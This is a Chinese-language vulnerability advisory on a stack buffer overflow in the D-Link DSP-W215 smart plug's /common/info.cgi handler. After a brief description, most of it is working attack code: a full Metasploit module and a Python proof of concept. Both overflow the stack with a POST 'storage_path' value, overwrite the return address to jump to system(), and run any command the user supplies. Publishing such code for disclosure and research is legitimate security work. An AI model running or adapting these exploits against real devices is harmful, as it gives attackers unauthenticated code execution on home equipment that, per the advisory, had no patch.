D-Link DSP-W215 '/common/info.cgi'处理程序栈缓冲区溢出漏洞


发布日期:2014-05-22
更新日期:2014-07-16

受影响系统:
D-Link DSP-W215
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 68521
 
D-Link DSP-W215 可追踪家庭能源使用情况和管理家电的智能插座。
 
D-Link DSP-W215处理发送到/common/info.cgi处理程序的特制POST HTTP请求地址时,my_cgi.cgi组件存在栈缓冲区溢出漏洞,这可导致恶意用户在受影响设备上下文中执行任意代码。
 
<*来源:Craig Heffner
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
##
 # This module requires Metasploit: http//metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
 
  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'D-Link info.cgi POST Request Buffer Overflow',
      'Description'    => %q{
        This module exploits an anonymous remote code execution vulnerability on different D-Link
        devices. The vulnerability is an stack based buffer overflow in the my_cgi.cgi component,
        when handling specially crafted POST HTTP requests addresses to the /common/info.cgi
        handler. This module has been successfully tested on D-Link DSP-W215 in an emulated
        environment.
      },
      'Author'        =>
        [
          'Craig Heffner',  # vulnerability discovery and initial PoC
          'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Platform'      => 'linux',
      'Arch'          => ARCH_MIPSBE,
      'References'    =>
        [
          ['OSVDB', '108249'],
          ['URL', 'http://www.devttys0.com/2014/05/hacking-the-dspw215-again/'] # blog post from Craig including PoC
        ],
      'Targets'        =>
        [
          #
          # Automatic targeting via fingerprinting
          #
          [ 'Automatic Targeting', { 'auto' => true }  ],
          [ 'D-Link DSP-W215 - v1.02',
            {
              'Offset' => 477472,
              'Ret'    => 0x405cec # jump to system - my_cgi.cgi
            }
          ]
        ],
      'DisclosureDate' => 'May 22 2014',
      'DefaultTarget' => 0))
 
    deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
  end
 
  def check
    begin
      res = send_request_cgi({
        'uri' => "/common/info.cgi",
        'method'  => 'GET'
      })
 
      if res && [200, 301, 302].include?(res.code)
        if res.body =~ /DSP-W215A1/ && res.body =~ /1.02/
          @my_target = targets[1] if target['auto']
          return Exploit::CheckCode::Appears
        end
 
        return Exploit::CheckCode::Detected
      end
 
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Safe
    end
 
    Exploit::CheckCode::Unknown
  end
 
  def exploit
    print_status("#{peer} - Trying to access the vulnerable URL...")
 
    @my_target = target
    check_code = check
 
    unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
      fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")
    end
 
    if @my_target.nil? || @my_target['auto']
      fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
    end
 
    print_status("#{peer} - Exploiting #{@my_target.name}...")
    execute_cmdstager(
      :flavor  => :echo,
      :linemax => 185
    )
  end
 
  def prepare_shellcode(cmd)
    buf = rand_text_alpha_upper(@my_target['Offset'])  # Stack filler
    buf << [@my_target.ret].pack("N")                  # Overwrite $ra -> jump to system
 
          # la $t9, system
            # la $s1, 0x440000
            # jalr $t9 ; system
            # addiu $a0, $sp, 0x28 # our command
 
    buf << rand_text_alpha_upper(40)                # Command to execute must be at $sp+0x28
    buf << cmd                                      # Command to execute
    buf << "\x00"                                  # NULL terminate the command
  end
 
  def execute_command(cmd, opts)
    shellcode = prepare_shellcode(cmd)
 
    begin
      res = send_request_cgi({
        'method'        => 'POST',
        'uri'          => "/common/info.cgi",
        'encode_params' => false,
        'vars_post'    => {
          'storage_path' => shellcode,
        }
      }, 5)
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end
 end
 

#!/usr/bin/env python

 import sys
 import urllib2

 try:
    target = sys.argv[1]
    command = sys.argv[2]
 except:
    print "Usage: %s <target> <command>" % sys.argv[0]
    sys.exit(1)

 url = "http://%s/common/info.cgi" % target

 buf  = "storage_path="      # POST parameter name
 buf += "D" * (0x74944-36)  # Stack filler
 buf += "\x00\x40\x5C\xEC"  # Overwrite $ra
 buf += "E" * 0x28          # Command to execute must be at $sp+0x28
 buf += command              # Command to execute
 buf += "\x00"              # NULL terminate the command

 req = urllib2.Request(url, buf)
 print urllib2.urlopen(req).read()

建议:
--------------------------------------------------------------------------------
厂商补丁:
 
D-Link
 ------
 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
 
http://www.dlink.com/us/en/home-solutions/connected-home/smart-plugs/dsp-w215

本文永久更新链接地址:

相关内容